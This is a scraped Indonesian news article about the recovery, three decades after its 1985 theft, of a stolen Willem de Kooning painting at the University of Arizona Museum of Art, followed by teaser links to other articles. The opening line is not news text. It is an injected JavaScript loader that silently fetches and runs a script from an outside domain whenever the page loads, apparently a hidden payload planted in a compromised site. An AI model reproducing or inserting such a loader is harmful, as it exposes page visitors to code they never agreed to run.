(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sebuah lukisan yang dinilai berkisar 165 juta dolar AS (Rp 2 triliun) telah kembali ke tempatnya semula di Museum Seni Universitas Arizona. Pencurian lukisan terjadi 30 tahun yang lalu dalam sebuah kasus pencurian yang masih menjadi misteri penyidik.
“Jika lukisan ini bisa berbicara, dia akan memiliki banyak cerita bagus yang bisa diceritakan kepada kami,” ujar Kepala Polisi Universitas Arizona, Brian Seastone kepada WFAA.
Cerita ini dimulai dari lukisan minyak milik Willem de Kooning yang disebut “Women Ochre”. Lukisan tersebut menggantung dengan bangga di Museum tersebut selama lebih dari 20 tahun sebelum dicuri pada 1985.
Menurut WFAA pada saat kejadian beberapa orang entah bagaimana bisa masuk ke Museum sebelum waktu berkunjung dimulai. Wanita yang berada di komplotan tersebut mengganggu penjaga keamanan sementara laki-lakinya berjalan ke atas Museum dan menggunakan pisau untuk memotong lukisan dari bingkainya.
Dipercaya lukisan tersebut kemudian digulung dan diselipkan di bawah mantel pencuri. Tidak ada kamera pengintai di Museum saat kejadian berlangsung.
“Ini adalah peristiwa yang sangat traumatis bagi institusi dan orang-orang terlibat saat kejadian terjadi,” ujar Direktur sementara Meg Hagyard, Universitas Arizona, kepada WFAA.
Misteri pencurian lukisan “Women Ochre” milik Willem de Kooning telah menghantui Seastone selama lebih dari 30 tahun.
“Setelah 32 tahun saya melihat air mata kebahagiaan dan jenis kebahagiaan seperti saat Anda pulang ke rumah,” ujar Seastone kepada WFAA.
Kembalinya lukisan bermula ketika pasangan Rita dan Jerry meninggal di Cliff, New Mexico. Keponakanan mereka pun mengurus warisan propertinya keduanya, termasuk menjual benda seni milik mereka ke pedagang barang antik sebesar 2.000 dolar AS.
Diantaranya adalah benda seni berupa lukisan yang disimpan pasangan tersebut di balik pintu kamar tidur mereka, sebuah karya asli de Kooning.
Singkat cerita, begitu lukisan dipamerkan banyak penggemar seni yang menyadari betapa berharganya lukisan itu. Untungnya berhasil diselamatkan oleh pihak berwenang.
Seastone kemudian menyatakan bahwa FBI telah memimpin penyelidikan terhadap pencurian yang terjadi, dan menambahkan bahwa dirinya tidak dapat berkomentar banyak tentang kemungkinan pencuri tersebut. (abc)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.